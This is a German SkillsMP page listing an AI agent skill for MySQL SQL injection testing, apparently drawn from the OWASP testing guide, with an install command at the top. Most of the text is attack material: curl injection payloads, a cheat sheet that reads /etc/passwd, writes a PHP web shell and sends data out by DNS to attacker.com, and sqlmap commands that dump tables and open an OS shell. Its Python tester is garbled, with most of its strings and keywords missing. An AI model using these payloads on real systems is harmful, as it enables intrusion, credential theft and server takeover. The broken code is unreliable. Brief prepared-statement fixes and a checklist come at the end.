Menü
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-2Der Befehl bleibt in einer Zeile. Scrollen Sie horizontal, um ihn vor dem Kopieren vollständig zu prüfen.
Sie bevorzugen eine lokale Kopie? Laden Sie die Dateien herunter, die SkillsMP derzeit vorliegen.
SKILL.md wird angezeigt
| name | wstg-inpv-05.2 |
| description | Testing for SQL Injection - MySQL |
| category | input-validation |
| owasp_id | WSTG-INPV-05.2 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.2
Testing for SQL Injection - MySQL
MySQL-specific SQL injection testing leverages MySQL's unique syntax, functions, and features. MySQL is widely used in web applications (LAMP stack), making it a common target. Key features include information_schema, comment syntax, and specific functions for data extraction and exploitation.
#!/bin/bash
TARGET="https://target.com/product?id="
echo "[*] Testing for MySQL database..."
# Error-based detection
curl -s "${TARGET}'" | grep -iE "mysql|MariaDB|syntax.*MySQL|Warning.*mysql"
# MySQL comment syntax
curl -s "${TARGET}1--+"
curl -s "${TARGET}1#"
curl -s "${TARGET}1/*comment*/"
# Version detection
curl -s "${TARGET}1' AND 1=1 UNION SELECT @@version-- -"
# String concatenation (MySQL uses CONCAT or space)
curl -s "${TARGET}1' AND 'test'='te''st"
#!/usr/bin/env python3
"""
MySQL SQL Injection Tester
"""
import requests
re
time
:
():
.url = url
.findings = []
.session = requests.Session()
MYSQL_ERRORS = [
,
,
,
,
,
,
,
,
,
,
]
MYSQL_PAYLOADS = {
: [
,
,
,
,
,
],
: [
,
,
,
,
,
,
],
: [
(, ),
(, ),
(, ),
(, ),
],
: [
,
,
,
,
,
,
],
: [
,
,
],
}
():
()
detection_payloads = [
,
,
,
,
]
payload detection_payloads:
:
response = .session.get(.url, params={param: payload})
pattern .MYSQL_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
()
response.text.lower() response.text.lower():
()
Exception e:
():
()
payload .MYSQL_PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
re.search(, response.text):
()
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
i (, ):
null_list = .join([] * i)
payload =
:
response = .session.get(.url, params={param: payload})
response.status_code == :
has_error =
pattern .MYSQL_ERRORS:
re.search(pattern, response.text):
has_error =
has_error:
()
version_payload =
version_response = .session.get(.url, params={param: version_payload})
version_match = re.search(, version_response.text)
version_match:
()
.findings.append({
: ,
: i,
:
})
Exception e:
():
()
start = time.time()
.session.get(.url, params={param: }, timeout=)
baseline = time.time() - start
payload .MYSQL_PAYLOADS[]:
:
start = time.time()
.session.get(.url, params={param: payload}, timeout=)
response_time = time.time() - start
response_time > baseline + :
()
()
()
.findings.append({
: ,
: payload,
:
})
requests.exceptions.Timeout:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
()
file_payloads = [
,
,
]
payload file_payloads:
:
response = .session.get(.url, params={param: payload})
response.text response.text:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
.detect_mysql(param):
.test_error_based(param)
.test_union_based(param)
.test_time_based(param)
.test_file_operations(param)
.generate_report()
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
f:
()
tester = MySQLSQLiTester()
tester.run_tests(param=)
-- MySQL Version
SELECT @@version
SELECT VERSION()
-- Current User
SELECT USER()
SELECT CURRENT_USER()
SELECT SYSTEM_USER()
-- Current Database
SELECT DATABASE()
-- List Databases
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT(db) FROM mysql.db
-- List Tables
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
SELECT table_name FROM information_schema.tables WHERE table_schema='target_db'
-- List Columns
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Extract Data
SELECT CONCAT(username,':',password) FROM users
-- Read Files
SELECT LOAD_FILE('/etc/passwd')
SELECT LOAD_FILE(0x2f6574632f706173737764)
-- Write Files (requires FILE privilege and secure_file_priv)
SELECT 'content' INTO OUTFILE '/var/www/html/shell.php'
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
-- DNS Exfiltration
SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))
# Basic MySQL detection
sqlmap -u "https://target.com/product?id=1" --dbms=mysql
# Get MySQL version
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --banner
# List databases
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --dbs
# List tables
sqlmap -u "https://target.com/product?id=1" --dbms=mysql -D target_db --tables
# List columns
sqlmap -u "https://target.com/product?id=1" --dbms=mysql -D target_db -T users --columns
# Dump data
sqlmap -u "https://target.com/product?id=1" --dbms=mysql -D target_db -T users --dump
# Read file
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --file-read=/etc/passwd
# Write file (shell)
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --os-shell
# Specific techniques
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --technique=U # UNION only
sqlmap -u "https://target.com/product?id=1" --dbms=mysql --technique=T # Time-based only
| Tool | Purpose |
|---|---|
| SQLMap | Automated MySQL SQLi |
| MySQL Client | Database client |
| Burp Suite | Manual testing |
| MySQL Workbench | GUI client |
<?php
// PHP - PDO prepared statements
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
// PHP - MySQLi prepared statements
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
?>
# Python - mysql-connector
import mysql.connector
cursor = connection.cursor(prepared=True)
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
| Finding | CVSS | Severity |
|---|---|---|
| MySQL SQLi with FILE privilege | 9.8 | Critical |
| MySQL SQLi data extraction | 8.6 | High |
| MySQL Blind SQLi | 8.6 | High |
| CWE ID | Title |
|---|---|
| CWE-89 | SQL Injection |
[ ] MySQL database detected
[ ] Error-based injection tested
[ ] UNION-based injection tested
[ ] Time-based injection tested
[ ] File operations tested
[ ] Data extraction attempted
[ ] Findings documented
Basierend auf der SOC-Berufsklassifikation
